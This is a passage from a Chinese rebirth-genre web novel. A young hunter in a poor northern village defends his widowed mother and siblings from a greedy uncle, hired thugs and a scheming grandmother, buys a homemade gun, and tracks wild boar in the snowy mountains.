陈厚说话间,眼底闪过一抹阴狠,他的心中已然有了主意。 翌日清晨。 陈虎刚睁眼,便被熏肉味儿勾起了肚里的馋虫。 起身时,正见杨蓉忙活着弄早饭,弟弟妹妹都还睡得正香。 “妈!给我弄些熏肉,我出门带上吃。” 杨蓉放下手中的活计,露出担忧的目光: “还要进山吗?今天?” 陈虎摆了摆手,给了杨蓉一个放心的眼神: “妈!你放心!那头熊瞎子的肉还冻在山里,我得分几次搬回来,没啥危险!” 杨蓉闻声,暗自叹了口气。 家中缺粮,要没陈虎进山,过不了几日,又该揭不开锅,所以这关心的话,她也不知道该如何说出口。 不多时,杨蓉给陈虎包好了一整块熏肉。 陈虎接过熏肉时,看到了杨蓉满是冻疮的双手,不由微微一怔。 是了,家里妈妈和弟弟妹妹御寒衣物都不够用,几层粗布裹着,待在屋里还好,要是出了门,就这北方的气温,冻死个人也不意外。 旋即,陈虎便将目光投向了一旁的熊皮上。 “妈,这熊皮裁了,给大家做身新衣裳吧!” 杨蓉闻言愣了愣,而后急忙摇头: “这熊皮卖出去,够咱一家吃两个月粮食了!衣服不打紧,妈回头匀点儿钱,给你和弟弟妹妹扯布做一件。” 陈虎深深的叹了口气:“妈,粮食我来想招,那熊瞎子全拖回来也足够吃上个把月,不着急,但没个御寒衣服,你身子骨本就弱,出门再惹个风寒……” 听着陈虎有条有理地安排着家里的一切,杨蓉一时之间,忍不住鼻尖一酸。 既欣慰,又心疼。 很快,陈虎接过熏肉,再一次踏足这片茫茫雪山。 大雪封山的时段,寻常人即便平时认路,也难认清被积雪盖住的山道。 当然,这对陈虎而言,算不得难事。 不过,这一路上陈虎仍旧需要保持警惕,毕竟,积雪下面什么玩意儿都可能有。 一脚陷进雪里,稍不注意就可能崴了脚。 不多时,陈虎折返到了前日的那处水潭。 本是碎开的冰面,已经再一次冻上,陈虎无奈尝试着用石块猛砸,可直到手都冻得乌紫,近乎没了知觉,也没能砸开冰面。 冰层眼下冻得十分结实,上面还盖着一层积雪。 无奈之下,陈虎只能绕路来到水潭顶上的崖壁上,接着又搬出一块硕大巨石,从高处推下。 伴随着一声“砰”的巨响,冰层总算被砸开一个大洞。 紧跟着陈虎依法炮制,不多时,这块冰面已然被砸了个稀碎。 在将冻在冰面下的熊肉拖出之后,陈虎这次切出了近二百斤肉,接着用木条和藤条,做了一辆简易拖车。 有着厚实的积雪,拖车并不需要使多大劲儿,陈虎看了看日头,拖上拖车,往回走。 依照陈虎计算,脚力快些,今天起码能拉两趟来回。 没个两天,就能全给拖回去。 腌制过后的精肉,随便就能储藏一年以上,要是能挣些粮食搭配着吃,今年冬天就没啥犯愁的了。 想到这些的陈虎,加快了步伐,临近中午,便赶回了家中。 走近家时,陈虎便听到了屋里面传来了一阵嘈杂声。 陈虎不由皱眉,急忙拖着精肉,走进了院子。 第一卷 第6章 你要是不答应,那今天谁也别想好过! 刚进门,陈虎便见着了几个生面孔站在院里。 杨蓉则护着弟弟妹妹,眼里噙着泪,不断摇头。 陈虎一眼便瞅见了昨日才被自己撵走的二叔! 陈厚此刻右手包着纱布,正冷笑着出声: “大嫂,我也不想为难你,但这熊皮和熊胆,你今天必须得交出来!” “这熊瞎子就是老子打的,你家那兔崽子昨天弄伤我这事儿,我可以不计较!你要是不答应,那今天谁也别想好过!” “你打算让谁不好过?”陈虎将肉卸在院里,取下别在腰间的镰刀,走上前来,冷冷出声道。 陈厚一听到陈虎的声音,当即就应激着转过头,便一屁股跌坐在地上。 周围的三个中年男子见状,脸上带着玩味笑意,为首的一个穿着黑色皮衣的男人,不由啧啧出声: “这世道真是变了!当叔的怕侄子跟老鼠见了猫似的!” 一旁另一个身形魁梧的汉子,也应声附和: “可不是!陈二狗不说了被自家侄子砍了一根手指了吗?” 说话间,这汉子望向陈虎手中的镰刀,脸上的笑意更甚: “小子,把你的破镰刀收起来,别等会儿伤了你自个儿!” 汉子的话,显然是明晃晃的威胁上了。 陈厚这时也站起了身来,狠狠咽了口唾沫,余光看向自己带来的三个男人,心中顿时就有了底气: “陈虎!今天那熊皮、熊胆,你要是不交出来,那你一家都甭想好过!豹爷今天在这儿,你有种再逞凶试试看!” 陈虎细细打量着陈厚带来的这三个男人,结合陈厚口中的“豹爷”这个称呼,他脑海中的记忆随之浮现,当即便想起了这三人的来历。 这三人都是镇上出了名的泼皮混子,为首穿着黑皮衣的男人,应该就是所谓的“豹爷”。 这豹爷在镇上搭了个场子坐庄,陈厚便是常客,分家后,他家里的半数田产都输在了这豹爷的场子里面! 当然,几个混混罢了,他陈虎前世枪林弹雨都经历过,还能怕了几个在街头用菜刀互砍的混混? “熊瞎子是我猎的,我最后说一遍和旁人没关系!” “这位豹爷,前日我这二叔应该在你家的场子里面吧? “他却说跟着我进山猎了熊,你们要讲理的话,今天就不该来这儿!” 陈虎说话时音调平和,不卑不亢,但最后一句话,显然也是带了威胁的意思。 陈厚闻言,不由的缩了缩脑袋,没敢吭声。 他借了赌资,又输了个精光,找到赌场说是还债,实际上却是借着赌场的势头,来这儿打算给那熊皮、熊胆收了! 这豹爷年近四十,一头短发斑白,脸上还横着一道狰狞的疤痕。 闻声,豹爷没接话,他自然知道这陈厚陈二狗是什么尿性。 不过,一张熊皮加上一颗熊胆的价值,实在很难让人不动心。 见陈厚没吭声,豹爷的眼底,闪过一抹鄙夷,接着抬腿轻踹了陈厚一脚。 陈厚见状,当即神色一拧,有人撑腰,他的脖子也挺直了起来: “你别给老子放屁!” “陈虎,你黄口白牙说啥就是啥吗?” “你今天去各处问问,看看谁信你这毛没长齐小子自己猎了头熊瞎子?” “你当所有人都是傻子不是?!” 那豹爷闻言,也跟着吭声道: “别嚷嚷了!今天我们只拿熊皮和熊胆,这两件东西还上了陈二狗赌债,剩下的你们再关上门,自家人说自家话,旁的我们管不着!” 陈虎见两人一人一嘴,不由得气极而笑: “我给你们三个数!滚出我家院子,不然的话,就别走了!” 陈虎这话没带半分情绪,却说的十分认真。 他很清楚,有的时候说再多,不如让某些不长记性的人长长记性。 否则的话,就永远不可能善了! 豹爷一行人闻声,上下打量着眼前的愣头青,旋即相视一眼,大笑出声: “初生牛犊不怕虎,你小子叫陈虎?当真是虎了巴楞的!” “豹爷,你今天别拦着兄弟,这小子不吃点儿亏,长点儿记性,当真以为天老大,地老二,他老三了!” 说话间,豹爷身旁两个身形魁梧的打手,开始摩拳擦掌。 在他们的眼中,一个口吐狂言的半大小子,今日不受点儿罪,传出去的话,他们也都没脸在道上混了! 陈虎看着两个大汉神情戏谑的走来,心底当即闪过一抹冷意。 下一瞬,不待两个大汉动手,陈虎便先发制人,手持镰刀,奋力一挥,没等几人反应过来,其中一个打手左手的手脖子,便多了一条伤口。 鲜血兹拉涌出,这打手惊恐着退后,急忙抬手捂着伤口处。 另一个打手见状,也果断发狠,张牙舞爪的便冲了过来。 陈虎冷哼一声,抬腿瞅准时机,便一脚踹其下体,打手吃痛弯腰,陈虎紧跟着举起镰刀,划破了这打手右手的手脖子! 两个打手一个会面功夫,便捂着手腕,退了回去,眼中满是不可置信! 陈虎则不咸不淡开口:“尽早去找医生接上手筋,迟了的话,手就废了。” 豹爷此刻也是满脸震惊,闻声狠狠咽了口唾沫,而后沉着脸,相继看向陈虎与陈厚,接着就领着两个打手,逃离了院子。 这下子,轮到陈二狗傻了眼。 此刻,陈厚浑身都在发抖,望向陈虎的目光,也满是惊恐。 他想不明白大哥家那没出息小子,怎的就这般厉害了? 陈虎也没打算与陈厚废话。 有的人不吃点苦头,永远不长记性! 随即,陈虎猛地上前,一脚狠狠踹在陈厚的脸上,陈厚的身子一仰,便直接翻倒在地! 紧跟着陈虎没有丝毫犹豫,举起手中的镰刀,一手摁住陈厚的右手。 随着镰刀狠狠落下,陈厚的痛喊声,便传遍了四野。 待到陈厚回过神时,这才惊觉他的手还完好无损。 陈虎收起镰刀,拖着那堆精肉,往屋里走去,头也没回的平静出声道: “滚吧!再有下次,我会让你将你的手指头咽下去的!” 陈厚爬起身,浑身都在打摆子,裤裆处更是传来了一股腥臭,还有黄色的液体不断滴落。 当然,被吓破了胆的陈厚可顾不得这些,屁颠屁颠的就埋着头往外跑去。 陈虎走进屋内,早就被一行人吓傻了的杨蓉,此时再也忍不住,泪珠大滴大滴的落下,一把将陈虎拥入怀里: “小虎,小虎……” 陈虎见此,不由得深深叹了口气,急忙出声安慰道: “妈,别怕!一切有我!” “小虎,他们会不会再回来啊?妈自己一个人不要紧,但囡囡和小真……” 第一卷 第7章 需要一杆枪 陈虎眼神坚定,冲着杨蓉保证道: “妈!你放心!今天过后,谁也不敢再来咱们家里找茬!” “爸不在了,这事儿就交给我,你照顾好自己身体,旁的不用操心!” 陈虎信誓旦旦的保证,让杨蓉也不由得一阵恍惚,暂且放下了心中的忧虑。 她明白,无论她再多说什么,都是在给陈虎施加压力。 “妈没事,你也别逞强,有事咱们一家人都在,不要一个人担着!” 杨蓉摸着儿子的头,看着自己拉扯长大的半大小子,心中既有些陌生感,又满是欣慰。 孩子长大了,这个家总算要好起来了。 午后,陈虎再度上山将肉搬下来将近二百斤,而剩下的肉明日一早就能拖完。 杨蓉也忙活了一整个下午,将所有肉分别熏制或是腌制存放。 一直忙到晚间,她这才炖了一锅肉汤。 夜里,一家人其乐融融吃着肉食。 陈虎看着这两日吃饱后活泼的弟弟妹妹,以及脸色逐渐红润,气色好些的母亲,不由得心中满是欣慰。 当然,炖肉吃多了也烧心,一直吃属实不是个事。 冬日的北方没有蔬菜,家里先前揭不开锅,腌制的冻菜也早就吃了个干净。 眼下,米缸也是见底,这让陈虎不免无奈! 一直吃肉也不是个办法! 就算是游牧民族也不能一直吃肉,要知道自古以来在草原上,茶叶就是硬通货。 没了茶叶帮助消化,就是牧民也扛不住天天吃肉食。 所以,眼下卖粮和腌菜,是十分有必要的! 饭后,陈虎找杨蓉拿来了那颗熊胆。 眼下,熊皮要用来制作过冬衣物,熊肉够吃这个冬天,要是拖到镇上去卖了,不说现在大环境不好的经济情况下,能不能卖个满意价格,就是卖出去了陈虎也舍不得! 他们一家子都因为长期缺衣少食导致营养不良,十分有必要多吃些肉食补补身子。 母亲身子骨弱,弟弟妹妹也在长身体,自己还要进山。 想到此处,陈虎就只能将注意打到了熊胆上面。 当然,眼下除了买粮食和腌菜,还有一笔更急需的钱。 陈虎很清楚,眼下他最需要的,还是一把枪! 这个年代,大兴安岭这里还并未过多限制枪支买卖,甚至于很多地方寻常百姓都接受过简单的军事化训练。 这也让不少地界的械斗,大多时候都会引发成热战! 曾经就有两个宗族村子械斗,到最后连土炮都用上了,甚至于村长、族长还有条有理的布置火力,指挥几千人打得热火朝天。 而眼下一支枪,既能让陈虎确保后续进山打猎,能够有更多的保障。 并且,如果陈虎再遇到像是今天这样的冲突时,那可以保证他不会处于被动。 这年头,土枪土炮虽然要点票子,却不算什么稀罕物,要是今天对方冲突时掏出一支众生平等器,陈虎就算是身经百战,那也得认栽! 次日清晨,陈虎照旧起得老早。 洗漱吃过早饭后,陈虎并没急着上山把剩下的熊肉给搬回来。 而是揣着那颗熊胆,去往了镇上。 镇子不大,名字也略显寒酸,名为楚桥镇。 距离陈虎家约莫有个十里路的路程,不过因为交通不便,以及路上积雪太厚的缘故,陈虎走了将近两个钟头,才到镇上。 这个钟头正赶上早市还没散场,陈虎当即在市场上寻了个位置,又捡来一块木板,再找了块木炭,写上了一行大字: 新鲜熊胆大补,仅此一枚,先到先得! 挂上牌子后,陈虎也不吭声,搁那儿一站,就这么杵着。 很快,陈虎的这一举动就引来了许多看客,一众人对着陈虎指指点点,议论不断。 “这孩子是做啥的?怎么看着有点像说书里说的,那啥,卖身葬父来着?” “别瞎叨叨!人家大男人卖啥子身?” “就是!新中国都成立了,还卖身呢?知不知道买卖人口要枪毙啊?” “都别吵了,有没有认字的瞅瞅,这上面写的是啥?” …… 众人你一言我一语,落到陈虎的耳中,也让他一时之间,脸上也大写着无奈。 忘了这年头里,庄稼汉没几个认字了…… 叹了口气,陈虎清了清嗓子,开始叫卖出声: “来一来是看一看,走过路过,不要错过!” “今日给大家上个猛货,错了过就是吃亏!” “货真价实的熊胆,新鲜的熊瞎子胆,拿回家炖汤喝,一口汤提神醒脑,两口永不疲劳……” 陈虎的叫卖声,很快引得人群一阵轰动。 人群之中有眼尖的人当即就认出了陈虎,开始给周围人八卦,说是陈家小子猎了头熊瞎子,二叔带着豹爷上门想要强占。 众人得知真有熊胆后,一个个更是眼热,催促着陈虎取出来,给大家长长眼。 陈虎倒是无所谓,取出一块棉布,便将裹着的熊胆,展示给众人看。 这时,人群里走出一个穿着大衣的老头。 那老头眼睛眯狭,佝偻着身子,带着一顶黑布棉帽,他所走过之处,所有人都恭敬地对他问候一声“孙老”。 老人看过熊胆之后,微微颔首,望向陈虎: “后生,熊胆咋卖?” 陈虎见状,略微思索后,应道: “老人家看着给个公道价便是!” 老者闻言,当即就从兜里面,掏出一沓票子,接着问道: “熊皮卖不卖?老头子我高价一起收了!” 陈虎果断摇头: “熊皮已经让家里扯了做成衣裳自己穿了。” 老者听到陈虎这话,脸上不由得露出失望之色,而后数了一百五十块票子,递给了陈虎。 价格还算中肯,陈虎接过钱,点了一遍后,就将熊胆递了过去。 这位孙老接过熊胆后,则仔细打量了一番陈虎,而后爽朗笑道: “你这后生倒是老实!也不知道还价,往后要碰上别人,准得吃亏。罢了!要是后面你有什么猎获,野味、皮毛,都可以先送去镇子东边孙家,老头子我会给个公道价的!” 陈虎收好钱后,倒是没想到还有这般意外之喜。 对方如果能够稳定收购,那他以后进山打猎就不愁销路了,那可算是能给他节省了一大笔力气! “老人家的话,我记下了,小子在此多谢!” 老者闻言,摆了摆手,没再回话,转头便走了。 这一日,陈虎午后回家时,背上多了一根包裹着棉布的土枪,以及三百发子弹,还有一罐子腌菜。 第一卷 第8章 野猪蹭过的痕迹! 腌菜炖肉的味道,自破旧的小屋中传出,香味引得街坊邻里都忍不住暗自咽口水。 入夜后,陈虎一家子都围坐在饭桌前,看着杨蓉盛出一碗碗腌菜炖肉,小鼻涕虫早已哈喇子流出了五公分,眼睛直勾勾盯着锅里。 小囡囡坐在陈虎的怀里,也是一个劲儿的凑着鼻子去闻。 倒是杨蓉却一言不发,盛菜完了,就坐着也不动筷子,脸色忧郁,一个劲儿的在叹气。 陈虎见状,招呼弟弟妹妹先吃后,朝着杨蓉,询问出声: “妈,你这是咋了?” 杨蓉的目光投向墙角立着的那杆子土枪,有些忧心道: “小虎,你如今长大了,很多事情妈不该多说,但那杆枪……你是打算以后进山打猎?” 陈虎闻言,顿时了然杨蓉心中所想,急忙宽慰: “妈!爸走得早,分家的时候,奶奶就只划了两亩贫田给咱家,眼下家里没粮,这熊肉也吃不了多久。” “地里冻土三尺厚,就算到了开春,那粮种也是问题!” “你放心,我进山肯定保证自己安全的,像是眼前的这熊瞎子,我也没办法招惹。这次我能猎到熊瞎子,完全就是捡漏,回头顶多打打狍子、兔子。” “这样的话,也能补贴补贴家用。而且,我有杆枪,你也甭担心有啥危险不是?” 杨蓉听着自家儿子头头是道的说着这一切,心中顿时宽慰许多,但还是交代道: “妈知道你懂事!如今也长大了,不过不管进山还是用枪,你都得小心注意。” “妈!你放一万个心吧!我会当心的!” 杨蓉见状,也没有再多说什么,夹了块肉塞到陈虎的碗里,陈虎乐呵着埋头苦吃。 小囡囡见了也跟着往哥哥和妈妈的碗里面夹肉,陈虎与杨蓉见此,不由得都露出了温馨的笑容。 这一晚,窗外没见着月亮,但这一家子围坐一圈和和睦睦吃饭,却比寻常时候中秋的月亮还要圆满。 次日,陈虎一早便提着枪,上了山。 天蒙蒙亮时,山间还缭绕着大雾,一丈开外的地方就已经看不清路了。 山中地形多变,能见度低,再加上气温趋近于零下,以及地上覆盖着厚厚积雪。 这几个因素,任何一个普通人碰到了,那都是九死一生的困境。 倒是对陈虎而言,这算不得什么! 前世丰富的野战知识和野外求生经验,让得陈虎能够毫无顾忌的顶着大雾进山。 冬日的深山,像是人类禁地。 白雪皑皑下,千里冰封、万里雪飘之景,映入眼帘! 山间不时有狂风裹挟着冰雪袭来,越往山上走,灌木便愈发低矮。 这时的陈虎的身上,已经裹上了杨蓉用熊皮裁剪的袄子,背上还背着那杆土枪。 进山前,陈虎便试过了,这枪的有效射程不超过三百米,还是十分简陋的燧发装置。 不过,这土枪子弹装填的是大量钢珠,十米内可谓是众生平等,威力奇大无比! 弹药倾泻而出,呈扇面状,就这火力,哪怕是正面硬刚熊瞎子,那也绝不含糊! 当然,陈虎很清楚这次进山的目标,主要还是一些体型偏小的猎物。 毕竟,像上次那样,碰见一只冬眠一半醒来的野熊,那属实是陈虎的运气占了大头。 而除去熊瞎子,大型猎物像是大虫,陈虎则完全不敢去想。 要知道老虎的爆发力和速度,比起熊瞎子来说,完全不可同日而语! 一头老虎捕猎时的袭击速度,绝对不是一个正常人能够反应过来的,再加上这玩意儿作为食物链顶端的存在,爆发力也强得惊人! 一巴掌随便就是几百公斤的力道,体长超过两米,一跃更是超过七米,近乎有三层楼这么高! 碰到了,也就只能自求多福了。 体型稍小的,还有野猪、野狼。 不过,这群畜生都是群居动物,要是招惹了一群,就这土枪的装填弹药速度,同样也难以招架。 综合考虑后,陈虎这次进山主要目的,还是先打探各处野兽的分布情况,能带上些小型猎物回去,当然就最好。 就在陈虎忙着在山里打转的功夫,山下陈厚的家中,倒是颇为热闹。 自打那日被陈虎吓尿后,陈厚回到家中,一连几日都没下床,就连吃饭也要他老婆刘翠翠端到床边。 今日,陈厚总算是爬了起来。 一家子围着炕头,一个个神色冷淡的啃着黑馍,喝着米汤。 饭桌上,刘翠翠见自家男人一言不发,大口吃饭,忍不住怪声怪气道: “你倒是吃得香、睡得香,你儿子从昨儿到今天一口水都不乐意喝,你也不去劝劝!” 正埋头吃饭的陈厚闻言,顿时脸一横,正要骂时,却好似想起了什么,当即眼前一亮,冷笑开口道: “那混账小子是想要大嫂家那赔钱货过继过来,是吧?” 刘翠翠见自家男人这奇怪神情,有些不明所以,但还是点了点头; “儿子也老大不小了,我看得给他安排安排找个媒人,要那赔钱货的话,回头浪费粮食不说,还要落人口舌……” 刘翠翠正经说着,不想陈厚却直接打断道: “不着急说媒,这件事情,老子刚想了个主意……” 雪山上,陈虎全然不知二叔一家的打算,眼下他既兴奋,又有些胆寒。 正午时,他翻过两座山,都没有见着有什么野兽的痕迹。 直到走过一处山坳时,陈虎忽然发现山脚下有一排红松树的树干,非常与众不同。 这几棵树的树干到树根的位置,全部都被磨秃噜皮了! 陈虎一眼便认出来这是野猪蹭过的痕迹! 并且,这痕迹还很新鲜,沿着这片林子走了一圈,陈虎又寻到了一片蹄印。 就这片蹄印来看,这显然是超过十头野猪的数量! 而后,陈虎便跟着脚印一路追踪,最终在一处山底洞穴处,发现了野猪群! 足足有近二十头野猪,半数都还很小,约莫有个三十公斤,其余的则都是大猪。 但令人胆寒的是,这些大猪母猪体长超过一米五,肥硕身子估摸重达两百公斤,垂着尾巴,正在一处冻土里卖弄刨食。 公猪和母猪完全不同,首先,公猪的尾巴是撅着的。 相较于性格还算温顺的母猪,公猪动不动的便猛冲几步,撅着尾巴,尖锐的獠牙十分骇人! 公猪的体型约莫是母猪的两倍大小。 不开玩笑,陈虎敢肯定这玩意儿绝对能够轻易推倒一棵直径超过一米的红松树! 要知道鲁智深倒拔垂杨柳,那柳树也不过才腰肢粗细而已! 第一卷 第9章 老太太的坏心思 几头脾气暴戾,容易应激力气还强过鲁智深的公野猪,陈虎很清楚凭着手里这柄土枪,想要将它们拿下,甚至于是只拿下其中一只,都属实是不切实际的。 所以在追寻到野猪的下落之后,陈虎一直都远远的观望着,还藏匿了身形。 俗话说一猪二熊三虎,可见野猪之凶悍。 陈虎在短暂思考之后,并没有选择轻举妄动,而是在将这处地点记下后,转身便果断离开了此处。 野猪的嗅觉十分灵敏,陈虎自然不会将自他己置于危墙下。 猎捕野猪的事情,还是得从长计议才行。 到了临下山时,陈虎再一次回到了那方存放熊肉的水潭。 剩下的熊肉约莫着还有个一、两百斤,这一次,陈虎可以尽数运回家去。 当然,经过前后这么一耽搁,等到陈虎回到家时,天色已经尽数黑了下来。 此时,忙活了一整日的陈虎刚推开家门,便忍不住冷下了脸。 只因为家里来了一位不速之客。 那老太太此时正端坐在炕头上,对方正是陈虎奶奶! 老太太佝偻着身子,牙齿都快要掉光了,却抓着一块大骨头啃食着。 对方吧唧嘴的样子,极为滑稽。 老太太见陈虎进门,就不带情绪出声道: “小虎回来了啊?” 陈虎没应声,拖着肉往火房里面去。 杨蓉见状,赶忙去搭把手。 待到将肉放置好后,陈虎来到饭桌前,杨蓉则盛了饭,递给陈虎。 陈虎看着碗里的白米饭,不由得讶异道: “妈,这米是?” 陈虎自然清楚家里的情况,他早上临行时,缸里可没有一粒米。 杨蓉余光看了一眼老太太,脸色有些难看的解释道: “都是你奶奶送来的!” 陈虎没再吭声,看着桌前小口吃饭,显得极为拘谨的弟弟妹妹,脸色极为不悦。 老太太能这么好心? 当初,老太太偏心二房,提出分家,就是为了赶走陈虎一家子。 不仅只给了陈虎家二亩贫田,陈虎他爹这些年攒在家里的钱,老太太更是一分钱都没给吐出来! 分家后,老太太还时常借着她自己的名义,使唤着自家老大回来务农、干活。 很多时候,老大回去忙活一整天都吃不上一口热乎的,最后更是因为帮陈虎二叔家修羊圈,而被松动的柱子给砸死了! 陈虎此刻看向老太太的眼神,极为不善,他可不信这老太太能转性! 老太太对陈虎不善的目光,倒是直接视若无睹,一边大口吃着炖肉,一边吧唧嘴,出声道: “快吃吧!小虎,出门一整日,饿坏了吧?这米都是今年新收上来的,香得很!” 陈虎闻言,仍旧没应声,而是低着头,开始吃饭。 杨蓉的手艺,当真没得说。 米饭很香,撒上一圈酱油,再加上现炖的肉汤,一口米饭就着腌菜和炖肉,简直让人咬掉舌头! 可饭菜虽香,除了老太太其余人却似乎都吃的不如何香。 气氛十分诡异! 老太太吃饭吧唧嘴声不带停,陈虎一言不发,倒是吃的痛快。 杨蓉则早早的放下了筷子,而陈真和陈瑶两个小孩子则都小心翼翼吃着,也不说话,也不闹腾,像是待在外人家里,有些放不开似的。 老太太这会儿应当是吃饱了,抬起那双满是褶皱的手,便将手上的油腻,尽数蹭到了衣服上。 紧跟着,老太太又撸起袖子,擦尽嘴上油脂,咧着那漏风的嘴说道: “小虎他娘啊,前几日老二和小虎他二嫂不懂事,瞎闹腾,我已经训过他俩了。” “你们也别往心里去,都是一家人,关起门来哪儿有两家话不是?” 陈虎闻声,不为所动。 他一边埋头吃饭,一边暗自思考着这老太太这次过来,到底打的什么主意。 杨蓉听到老太太的话,倒是赶忙挤出一个笑脸,打圆场: “妈,看你说的,小虎也是还小不懂事,孩子气性大,没想着要对他二叔做什么的。” 陈虎闻言,心中不由得暗叹一声。 他十分理解杨蓉的感受,孤儿寡母,这些年来本就不容易,他们一家也不求老太太和二叔一家能如何帮衬。 但眼下,要是男人死了,再落个不孝顺公婆的骂名,对于杨蓉这一个保守年代的女人来说,当真就是要了命! 想到这些,陈虎也没有再插话,静待着老太太给下文。 老太太见杨蓉这般说,随即又跟着念叨几句。 话里话外都在说那晚上陈厚手指差点接不上,要落残疾,以及家里这些年光景不好什么的。 杨蓉对此也是一直附和,还忙着起身拎了两块熏肉,说要给老太太送过去。 老太太见状,也没客气,接过熏肉后,目光不停在屋里这母子四人的身上打转。 一张熊皮可不算小,杨蓉裁剪缝制成袄子之后,给家里面的每个人都做了一件袄子。 杨蓉见着老太太目光,当即明了,急忙开口道: “小虎奶奶,这熊皮还剩一匹,我给您送回去,也好做件袄子穿。” 老太太当即笑得合不拢嘴,黢黑熏黄的几颗漏风牙齿,一时之间,也收不住了: “哎呀!这熊瞎子的皮,可是值钱的打紧!老太婆我也是有福气,能穿一件毛袄!” 对此,陈虎同样也没有吭声,只要母亲能够安心些,那这些东西倒是不算什么。 谁料,老太太笑着笑着,就突兀的话锋一转道: “对咯!这马上就到小虎他爷爷忌辰了,我寻思着老大家孩子我也不常见,要不就让两个孩子过去住上一阵子?” 老太太此言一出,杨蓉直接整个人就懵了。 陈虎一听这话,也不由得皱眉,旋即,沉着脸出声: “陈真和陈瑶哪儿都不去!” 陈虎虽然不理解老太太安的什么心思,但用膝盖想都知道她憋不出什么好屁出来! 这些年来,也没见老太太稀罕过陈虎家三姊妹中的谁,怎么今天就想着要接两个孙子、孙女过去? 杨蓉最是清楚老太太什么秉性,孙子、孙女一共四人,老太太可从没多看过自家三个孩子一眼,一直都宝贝着老二家的陈乾。 眼下,老太太突然转性了,这怎么看都有问题! 杨蓉当即也跟着拒绝道: “妈!孩子们还是我自个儿照顾吧!不去老二家,给你们添麻烦!” 老太太闻言,脸色当即便冷了下来: “怎么着?害怕我老太婆虐待孙子、孙女吗?” 杨蓉急忙否认:“我不是这样想的,妈,我只是……” 老太太却直接打断道: “就住上几日,家里粮食够吃,孩子也乖巧,不麻烦,这事儿我说了算,就这么定了!” 杨蓉被这话堵住嘴,一时之间,也不知道该说些什么好。 这时,小囡囡突然扯着陈虎的衣袖。 自打吃饭起,两个小家伙便十分安静。 眼下,小囡囡却摇着头,对陈虎悄声委屈道: “哥哥,我不要去奶奶家!” …… 第一卷 第10章 龌龊的意图 陈虎看着明显不安的弟弟妹妹,急忙轻声安慰道: “没事!有哥哥在,没人会带走你们!” 老太太一听这话,顿时脸就垮了下来: “小虎,奶奶这是带他们过去住两天,又不是不送回来!” “你们这整的我老太婆好像会吃小孩一样,这是弄啥嘞?” 陈虎直接无视了满不乐意的老太太,两手牵着弟弟妹妹,让两个小家伙端着碗,就去了里屋。 “别害怕!你们吃完就先睡觉,今天没谁能带你们走。”安抚两个小家伙后,陈虎就关了门,来到堂屋。 老太太的桌前,堆满了吃过的骨头,脸色阴沉,皱巴巴的脸上写满了不高兴。 但对上陈虎带着戾气的目光,想起陈厚带着赌场打手上门,他们夹着尾巴回去的经历,老太太也识趣的软了声: “小虎,小虎他娘,我一个半截入土的老婆子,也就是想孙儿罢了。” “这样吧,让囡囡陪我去住几天,陈真就待家里。” “我那刚好还剩一匹布,刚好最近闲着,也够给小囡囡扯了做件新衣裳。” 杨蓉听完这话,嘴巴微张,一时之间,满心讶异。 老太太有这般好心? 虽然不理解,但见老太太这般,杨蓉一时之间,还是忍不住松了口: “她奶,瞧你说的,囡囡衣裳够穿,不用麻烦。” “小虎他也只是怕妹妹过去,麻烦老二他们一家。” 老太太听到杨蓉这话,感觉有戏,当即就咯咯笑出了声,一拍大腿就感慨道: “老二他大嫂,你是不知道,老二家乾小子也不知道最近怎么了。” “自打上次见了陈瑶这个妹妹,就喜欢的打紧。” “又是催着老二两口子给他生个妹妹,又是说要让妹妹过去住几天……哎呀!一家子就应该这样相亲相爱才对,不是吗?” 杨蓉这时也微笑着点了点头,老二一家虽然两口子做人都不咋样,但他家儿子倒是少说话,安安静静挺是乖巧。 杨蓉也算是打小看着陈乾长大,这孩子也没见过有啥坏心眼儿,听着老太太这么一说,当即点头就应了下来: “小乾喜欢妹妹,这倒是好事,囡囡过去住几日……” 就在杨蓉决定答应时,陈虎却敏锐的察觉到了不对,直接出声打断: “妈!囡囡不愿意去!” 杨蓉看着陈虎脸色难看,刚没说完的话直接就咽进了肚子里面。 老太太则赶忙糊弄着出声: “哎……小虎,小孩子怕生,老太婆我也理解,这不是奶奶和你家乾弟弟想囡囡嘛!她过去住两天熟悉了,就不认生了,哪儿有孙女跟堂哥和奶奶怕生的?” 陈虎此刻满脸愠怒,拳头也不自觉攥紧。 还未分家的时候,杨蓉兴许不知道那个沉默寡言的陈乾是个什么德行。 毕竟,这孙子整日除了躲在房里,三餐都要伺候,就是一个人孤零零在外面耍着。 但从陈虎的视角,却全然不同! 陈乾这瘪犊子是个什么玩意儿? 也许老太太偏心,和二叔二婶偏袒、溺爱,从而忽视、打压陈虎家三姊妹,都不是陈乾主导的。 但陈虎依照原主记忆,却清楚记得,这小子房间里面挂满了各种从镇上淘来的杂志、报纸海报。 那些海报图像,多是些露骨内容。 并且,这厮平日里不和同龄人一起耍,却喜欢独自带着糖,去分给同村那些个年纪小的女童吃。 依照之前的陈虎看来,这小子的确没什么奇怪的。 但眼下陈虎可太清楚这些线索代表着什么了! 很显然,这厮是个不折不扣的变态! 此刻,陈虎一想到那龟孙的堂弟那日躲在后面,偷看自家妹妹时的龌龊眼神,就忍不住满心的愤怒! “吃完了就打哪儿来,回哪儿去,这话我不说第二遍!” 陈虎没有给丝毫余地,冷着脸,便下了逐客令! 杨蓉被陈虎这番话惊得瞪大了眼,她自是以为陈虎还在因为先前的种种与老太太闹不痛快。 想要劝说一二,却又不知如何开口,只得无奈叹了口气,没插话。 老太太一听陈虎这话,当即就炸了毛! “小虎!你这是什么意思?” “老太婆我吃你家两口肉吃多了?” “你爹都是老婆子我一把屎,一把尿拉扯大的!” “你个丧尽天良的,怎么着?今天你还要拿刀砍死我老太婆?” 杨蓉一听老太太这话,顿时也坐不住了,这要是传出去还了得? 自家儿子要是真对亲奶奶动手,只怕是要声名狼藉一辈子,被人在后面戳脊梁骨,更是别想讨老婆了! 杨蓉急忙劝解道: “他奶,不是!不是!小虎还小,刚才就是……就是不懂事……” 陈虎却懒得顾虑这些,直接挡在了杨蓉跟前,毫不客气接着厉声道: “我最后说一遍,我妹妹哪儿也不去!” “带着你和你那宝贝孙子,以及你们的龌龊心思赶紧滚!” 陈虎眼下算是想明白了! 老太太这尿性还能转? 敢情这过来一趟,又是卖笑脸,又是要接走孙女,还要给陈瑶做新衣裳,都是为了满足那猪狗一般的堂兄弟! 老太太浑浊的双眼,几乎要瞪出来,一双满是褶皱的手,挥舞着像是一只上蹿下跳的猴子,对着陈虎,便又是一阵破口大骂: “挨千刀的哦!你不得好死哦!” 